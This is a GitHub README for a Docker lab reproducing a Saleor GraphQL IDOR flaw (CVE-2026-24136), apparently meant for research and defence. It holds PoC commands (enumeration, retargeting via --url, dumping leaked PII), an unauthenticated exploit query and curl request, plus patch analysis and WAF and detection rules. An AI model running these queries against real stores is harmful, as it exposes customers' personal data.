BlankBire/CVE-2026-24136-Lab

GitHub: BlankBire/CVE-2026-24136-Lab

该项目为 Saleor GraphQL API 的 IDOR 未授权访问漏洞(CVE-2026-24136)提供了一键式的 Docker 漏洞复现环境和自动化 PoC 利用脚本。

Stars: 1 | Forks: 0

# CVE-2026-24136 - Saleor GraphQL IDOR / 未授权 PII 泄露 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-24136 | | **漏洞类型** | IDOR - 通过用户控制密钥绕过授权 (CWE-639) | | **软件** | Saleor 电子商务平台 | | **受影响版本** | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 | | **已修复版本** | 3.20.110 · 3.21.45 · 3.22.29 | | **CVSS 3.1** | 7.5 HIGH (`AV:N/AC:L/PR:N/S:U/C:H/I:N/A:N`) | | **CVSS 4.0** | 8.7 HIGH | | **影响** | 未经授权的攻击者可读取任何订单的 PII (姓名、地址、电话、电子邮件) | | **需要身份验证?** | 否 | ## 漏洞描述 Saleor 提供了一个用于管理电子商务订单的 GraphQL API。`order(id: $id)` 查询允许根据 global ID 获取订单详情。在受影响的版本中,该查询未验证调用者是否有权查看该订单。 任何人,包括完全匿名、没有账户的用户,都可以调用此查询并获取客户的全部 PII:电子邮件、姓名、收货地址、电话号码、登录历史。 ## 实验环境结构 ``` cve-2026-24136-lab/ ├── docker-compose.yml # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis) ├── setup_lab.ps1 # Script khởi động tự động (Windows PowerShell) ├── setup_lab.sh # Script khởi động tự động (Linux / WSL / macOS) ├── README.md └── scripts/ ├── start_api.sh # Startup wrapper: patch wsgi bug + gunicorn ├── seed_data.py # Tạo victim accounts + orders có PII └── poc_cve_2026_24136.py # PoC khai thác ``` ## 启动实验环境 ### 前置条件 - Docker Desktop (Windows / macOS) 或 Docker Engine (Linux) - Python 3.8+ - `pip install requests` ### Windows (PowerShell) ``` # 按需授予执行权限 Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process # 运行自动 setup .\setup_lab.ps1 ``` ### Linux / WSL / macOS (Bash) ``` chmod +x setup_lab.sh ./setup_lab.sh ``` ### 手动 ``` # 1. 启动 containers docker compose up -d # 2. 等待 API 就绪(约 60-90 秒) # 检查:curl http://localhost:8000/health/ # 3. 创建 admin account docker exec cve_saleor_api python manage.py shell -c \ "from django.contrib.auth import get_user_model; U=get_user_model(); \ U.objects.filter(email='admin@example.com').exists() or \ U.objects.create_superuser('admin@example.com', 'admin')" # 4. Populate products/channels docker exec cve_saleor_api python manage.py populatedb # 5. 创建 victim data(包含 PII 的 accounts + orders) cd scripts pip install requests python seed_data.py ``` **启动后的 Endpoint:** | 服务 | URL | |---|---| | Saleor GraphQL API | http://localhost:8000/graphql/ | | GraphQL Playground | http://localhost:8000/graphql/ | | Saleor Dashboard | http://localhost:9000 | | Admin | admin@example.com / admin | ## 使用 PoC ``` cd scripts # 查看技术说明 python poc_cve_2026_24136.py explain # 从已 seed 的列表中利用(推荐 - Saleor 3.x 使用 UUID IDs) python poc_cve_2026_24136.py file order_ids.json # 通过 base64 global ID 直接利用 1 个 order python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct... # Enumerate sequential(仅适用于使用 integer IDs 的 Saleor < 3.x) python poc_cve_2026_24136.py enumerate --start 1 --end 100 # 更改 target API python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json # 将结果保存为 JSON python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json ``` ### 示例输出 ``` [*] Loaded 6 Order IDs from order_ids.json [*] Querying without authentication... [*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64) ╔══════════════════════════════════════════════════════════════╗ ║ [LEAKED] ORDER #41 -- DRAFT ║ ╠──────────────────────────────────────────────────────────────╣ ║ Email : victim1@lab.local ║ ╠──────────────────────────────────────────────────────────────╣ ║ Billing Address : Nguyen Van A ║ ║ Street : 123 Le Loi Street ║ ║ City/Post : HO CHI MINH CITY 700000 ║ ║ Country : Vietnam ║ ║ Phone : +84901234567 ║ ╚══════════════════════════════════════════════════════════════╝ [*] Successfully leaked 6/6 orders ``` ## 根本原因分析 ### 1. 订单 ID 编码 Saleor 采用符合 Relay GraphQL spec 标准的“Global Object Identification”。每个对象都由一个具有以下格式的 global ID 标识: ``` base64(":") ``` 对于 Saleor 3.x 中的订单: ``` # internal_id 为 UUID v4 internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64" global_id = base64("Order:" + internal_id) = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0" ``` ### 2. 引发漏洞的代码 **文件:** `saleor/graphql/order/resolvers.py` ``` # 存在漏洞的版本(patch 之前) def resolve_order(root, info, id): """Resolve order by ID – không có bất kỳ kiểm tra authorization nào.""" _, pk = from_global_id_or_error(id, Order) return qs.filter(pk=pk).first() # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session ``` **文件:** `saleor/graphql/order/schema.py` ``` # Query definition,未声明 permissions class OrderQueries: order = graphene.Field( Order, description="Look up an order by ID.", id=graphene.Argument(graphene.ID, description="ID of the order."), ) def resolve_order(self, info, id): return resolvers.resolve_order(info, id) # Không có @permission_required, không có guard nào ``` ### 3. 利用 GraphQL Query 发送的查询不包含 Authorization header: ``` query ExploitOrder($id: ID!) { order(id: $id) { number status userEmail billingAddress { firstName lastName streetAddress1 city postalCode phone } shippingAddress { firstName lastName phone } user { email firstName lastName lastLogin isActive } } } ``` ``` # 使用 curl 发送,无需 token curl -s http://localhost:8000/graphql/ \ -H "Content-Type: application/json" \ -d '{ "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }" }' # Response(无需 auth): # {"data":{"order":{"number":"41","userEmail":"victim1@lab.local","billingAddress":{"phone":"+84901234567"}}}} ``` ### 4. 攻击流程 ``` Attacker (anonymous) Saleor GraphQL API | | |── POST /graphql/ ─────────────────────>| | Content-Type: application/json | | (NO Authorization header) | | {"query":"query { | | order(id: \"T3JkZXI6...\") { | | userEmail | | billingAddress { phone } | | } | | }"} | | | |<── HTTP 200 OK ─────────────────────── | | {"data": {"order": { | | "userEmail": "victim@example.com", | | "billingAddress": { | | "phone": "+84901234567" | | } | | }}} | | | ``` ## 补丁分析 ### 主要的修复提交 **文件:** `saleor/graphql/order/resolvers.py` ``` # 已 PATCH 版本(>= 3.20.110) def resolve_order(root, info, id): """Resolve order by ID với authorization check đầy đủ.""" _, pk = from_global_id_or_error(id, Order) order = qs.filter(pk=pk).first() # Guard 1: Staff và App có thể xem mọi order if requestor_is_staff_member_or_app(info.context.user, info.context.app): return order # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence) if not info.context.user or not info.context.user.is_authenticated: return None # Guard 3: Authenticated user chỉ được xem order của chính mình if order and order.user_id != info.context.user.pk: raise PermissionDenied( "You don't have permission to access this order." ) return order ``` **文件:** `saleor/graphql/order/schema.py` ``` # 添加 annotation 以记录 permission requirement class OrderQueries: order = graphene.Field( Order, description=( "Look up an order by ID. " "Requires authentication. Staff users can access all orders. " "Regular users can only access their own orders." ), id=graphene.Argument(graphene.ID, required=True), ) ``` ### 补丁前后对比 ``` Request: POST /graphql/ Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" } (Không có Authorization header) ───────────────────────────────────────────── TRƯỚC PATCH (≤ 3.20.109): HTTP 200 OK {"data": {"order": {"userEmail": "victim@example.com"}}} → PII bị lộ ───────────────────────────────────────────── SAU PATCH (≥ 3.20.110): HTTP 200 OK {"data": {"order": null}} → Trả null, không có lỗi (intentional – không để attacker biết order có tồn tại hay không) ───────────────────────────────────────────── ``` ## 深入技术分析 ### 为什么补丁返回 `null` 而不是报错? 对于未经身份验证的请求,返回 `null` 而不是 `PermissionDenied` 是有意的设计: - 如果返回 `PermissionDenied` → 攻击者会知道订单存在 (existence oracle) - 如果返回 `null` → 攻击者无法区分“无权限”和“不存在” 这是在 GraphQL 层应用的一种 timing-safe existence check 技术。 ### 为什么已通过身份验证的用户仍然使用 `raise PermissionDenied`? 因为一旦登录,清晰的错误报告有助于调试。Existence oracle 不再是问题,因为: 1. 已通过身份验证的用户通常知道自己的订单存在 2. 已通过身份验证的攻击者必然拥有账户 → 可能被吊销、追踪或受到速率限制 ### 为什么 UUID 比整数 ID 更难枚举? ``` Integer IDs (Saleor 2.x): Order:1, Order:2, ..., Order:N → Cần O(N) requests để enumerate N orders → Attacker có thể biết tổng số orders (bằng binary search) UUID IDs (Saleor 3.x): Order:460d1e27-2b0b-4897-84c9-64b524b08d64 → Search space: 2^122 (UUID v4 có 122 bit ngẫu nhiên) → Brute force thực tế là bất khả thi → Nhưng ID vẫn bị lộ qua: order confirmation email, URL trong dashboard, API responses, logs → nếu attacker có được 1 ID, vẫn khai thác được ``` ### CVSS 向量分解 ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N AV:N – Attack Vector: Network (khai thác qua internet) AC:L – Attack Complexity: Low (không cần điều kiện đặc biệt) PR:N – Privileges Required: None (không cần tài khoản) UI:N – User Interaction: None (không cần nạn nhân tương tác) S:U – Scope: Unchanged (chỉ ảnh hưởng Saleor API) C:H – Confidentiality: High (toàn bộ PII bị lộ) I:N – Integrity: None (không sửa được dữ liệu) A:N – Availability: None (không DoS) ``` ## 缓解与防御 ### 1. 立即打补丁 (最高优先级) ``` # 检查当前版本 pip show saleor | grep Version # 升级到已修复版本 pip install "saleor>=3.20.110" # nếu đang dùng dòng 3.20.x pip install "saleor>=3.21.45" # nếu đang dùng dòng 3.21.x pip install "saleor>=3.22.29" # nếu đang dùng dòng 3.22.x ``` ### 2. 临时 WAF 规则 (如果无法立即打补丁) 阻止匿名用户调用 `order()` 查询: ``` # Nginx – 阻止来自 unauthenticated requests 的 GraphQL order query location /graphql/ { # Nếu không có Authorization header và body chứa "order(" if ($http_authorization = "") { # Chặn các query có dấu hiệu khai thác # Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch } proxy_pass http://saleor_api; } ``` 对于 AWS WAF / CloudFront: ``` { "Name": "BlockAnonymousOrderQuery", "Priority": 1, "Action": {"Block": {}}, "Statement": { "AndStatement": { "Statements": [ { "ByteMatchStatement": { "SearchString": "\"order\"", "FieldToMatch": {"Body": {}}, "TextTransformations": [{"Priority": 0, "Type": "NONE"}], "PositionalConstraint": "CONTAINS" } }, { "ByteMatchStatement": { "SearchString": "Authorization", "FieldToMatch": {"SingleHeader": {"Name": "authorization"}}, "TextTransformations": [{"Priority": 0, "Type": "NONE"}], "PositionalConstraint": "EXACTLY", "NegatedStatement": true } } ] } } } ``` ### 3. 速率限制 ``` # 限制来自无 auth 的单个 IP 的 requests limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m; location /graphql/ { limit_req zone=graphql_anon burst=5 nodelay; proxy_pass http://saleor_api; } ``` ### 4. 监控 / 检测 访问日志中的利用特征: ``` # 检测:1 个 IP 发送大量无 Authorization 的 GraphQL requests grep 'POST /graphql/' access.log \ | awk '$9 == 200 && !/Authorization/' \ | awk '{print $1}' \ | sort | uniq -c | sort -rn \ | awk '$1 > 20' # Alert nếu > 20 requests từ 1 IP # 检测 request body 中无 auth 的 "order" pattern # (需要 JSON body logging) ``` 适用于 Grafana / Datadog 的告警规则: ``` alert: SaleorAnonOrderQuery expr: | rate(nginx_http_requests_total{ path="/graphql/", method="POST", has_auth_header="false" }[5m]) > 5 severity: warning annotations: summary: "Potential CVE-2026-24136 exploitation attempt" description: "High rate of unauthenticated GraphQL POST requests" ``` ## 清理实验环境 ``` # 停止并删除 containers + volumes(删除所有 data) docker compose down -v # 仅停止 containers(保留 data) docker compose stop ``` ## 参考 - [Saleor 安全公告](https://github.com/saleor/saleor/security/advisories) - [OWASP - 失效的对象级别授权 (BOLA/IDOR)](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/) - [CWE-639 - 通过用户控制密钥绕过授权](https://cwe.mitre.org/data/definitions/639.html) - [Relay Global Object Identification 规范](https://relay.dev/graphql/objectidentification.htm)
标签:CISA项目, Docker, GraphQL, IDOR, Saleor, 安全防御评估, 搜索引擎查询, 数据泄露, 测试用例, 漏洞环境, 请求拦截, 逆向工具